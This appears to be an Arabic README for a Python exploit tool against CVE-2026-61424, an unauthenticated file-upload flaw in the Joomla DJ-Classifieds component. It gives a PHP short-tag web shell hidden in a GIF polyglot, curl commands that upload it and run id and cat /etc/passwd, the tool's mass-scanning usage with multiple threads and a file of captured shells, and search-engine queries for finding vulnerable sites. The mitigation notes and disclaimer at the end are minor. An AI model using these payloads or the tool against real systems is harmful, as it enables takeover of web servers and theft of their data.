
مكوّن DJ-Classifieds في جوملا: ثغرة RCE عبر رفع ملفات بدون مصادقة. تجاوز فلتر بثلاث سلاسل عبر وسوم PHP القصيرة. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
رفع ملفات تعسفي دون مصادقة في DJ-Classifieds لجوملا. يعالج نقطة نهاية مهمة imageupload عمليات رفع الملفات بدون مصادقة ويعتمد على قائمة حظر من 3 سلاسل (<?php, eval(, base64) يمكن تجاوزها بسهولة باستخدام وسوم الفتح القصيرة في PHP (<?=). وبدمج ذلك مع GIF متعدد الصيغ، يجتاز الملف المرفوع جميع فحوصات التحقق من الصور مع احتوائه على قشرة ويب PHP كاملة الوظائف.
| الحالة | الإصدار |
|---|---|
| معرض للخطر | 1.0 — 3.11.1 |
| تم إصلاحه | 3.11.2 (20 يوليو 2026) |
ترتبط طريقة upload() في administrator/components/com_djclassifieds/lib/djupload.php بمهمة imageupload بدون أي فحص للمصادقة وبدون التحقق من رمز CSRF.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
لا يحظر ماسح المحتوى سوى ثلاث سلاسل حرفية فقط:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
هذا يحظر <?php وeval( وbase64 — ولكنه لا يحظر وسوم فتح PHP القصيرة:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
وسوم الصدى القصيرة في PHP (<?=) مفعّلة افتراضيًا منذ PHP 5.4.
GIF89a صالحة + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload مع name=shell.gif.gif ✓ getimagesize() ✓ لا يحتوي على <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=idلُوحظت فحوصات ماسح ضوئي مجهولة في البرية قبل الإفصاح:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
JFactory::getUser() قبل upload()JSession::checkToken() على مهمة imageuploadjpg, jpeg, png, gif)هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. استخدمها فقط ضد الأنظمة التي تمتلكها أو التي لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام أو الأضرار.
ليست تابعة لـ DJ-Extensions أو mySites.guru.
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-61424 |
| المنتج | DJ-Classifieds (إضافة جوملا من DJ-Extensions) |
| CVSS 4.0 | 10.0 (حرجة) |
| النوع | CWE-434 — رفع ملفات غير مقيد |
| الاكتشاف | Phil Taylor / mySites.guru — 16 يوليو 2026 |
| الاستغلال | تم تأكيد الاستغلال في البرية قبل الإفصاح |
| الملف | الدور |
|---|
administrator/components/com_djclassifieds/lib/djupload.php | طريقة upload() — بدون مصادقة، فلتر من 3 سلاسل |
components/com_djclassifieds/controller.php | يوجّه مهمة imageupload إلى upload() |
administrator/components/com_djclassifieds/djclassifieds.xml | الكشف عن الإصدار عبر وسم <version> |
| العلامة | الوصف | الافتراضي |
|---|
-t, --target | مضيف واحد مستهدف | — |
-f, --file | ملف يحتوي على الأهداف (سطر لكل هدف، مع دعم تعليقات #) | — |
-o, --output | حفظ روابط RCE في ملف | — |
--threads | عدد سلاسل العمليات للوضع الجماعي | 30 |
--no-cleanup | عدم حذف القشرة بعد RCE | False |
--debug | مخرجات التصحيح | False |
| المورد | الرابط |
|---|
| مركز IONIX للتهديدات | ionix.io/threat-center/cve-2026-61424 |
| اكتشاف mySites.guru | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| الإصدار الأمني من DJ-Extensions | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| سجل CVE.org | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |